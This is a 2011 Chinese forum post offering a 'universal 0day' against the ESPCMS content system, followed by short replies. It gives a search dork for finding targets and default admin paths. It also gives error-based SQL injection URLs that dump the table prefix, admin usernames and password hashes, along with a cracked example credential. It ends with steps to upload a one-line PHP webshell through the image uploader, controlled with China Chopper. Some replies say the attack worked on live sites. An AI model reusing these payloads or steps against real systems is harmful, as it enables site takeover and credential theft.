ESPCMS通杀0day

本帖最后由 冷月星辰 于 2011-12-4 16:13 编辑

百度关键字:inurl:index.php?ac=article&at=read&did=
默认后台:

www.XXXx.com/adminsoft/index.php或者www.XXXx.com/admin(这个是我自己测试的时候,找的,上面一个基本上都有)

注入点(爆表前缀):

index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,table_name,0x27,0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
1.jpg

爆用户名:

[code="php"]
index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,username,0x27,0x7e)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆密码:

[code="php"]
index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,password,0x27,0x7e)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

=========================================
密码和用户一次性爆:index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,username,0x27,password)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

2.jpg

用户名:admin 密码: 64039aa42fa57087e880a77a10f10298 (最后面的1数字不是 ,只截止到前32位,破解得 admin_tmtmw)

===============================================
拿shell:
进到后台后,直接点击分类图片===修改==选择文件===直接上传一句话木马
3.jpg

webshell地址 ,如 http://www.XXX.com/upfile/20111201023506_245.php

菜刀伺候
4.jpg

PS:
当上传不了php网马时,去系统设置一下,添加图片上传格式 |php 。这样就可以上传一个图片文件头的网马

介个 霸气!

看过这个洞。自己测试不成功。原来是在表要自己修改的

我只想知道楼主怎么挖到的!

恩 不错 刚刚 试了一个 成功

都要钱的md5 我汗死

这前几天多暴了。找不到后台才蛋疼。

学习了!可惜我发现迟了!

谢谢楼主分享!!

学习了... 多谢楼主 。。。

下载了个新版本 本地测试了一下 貌似已经补上了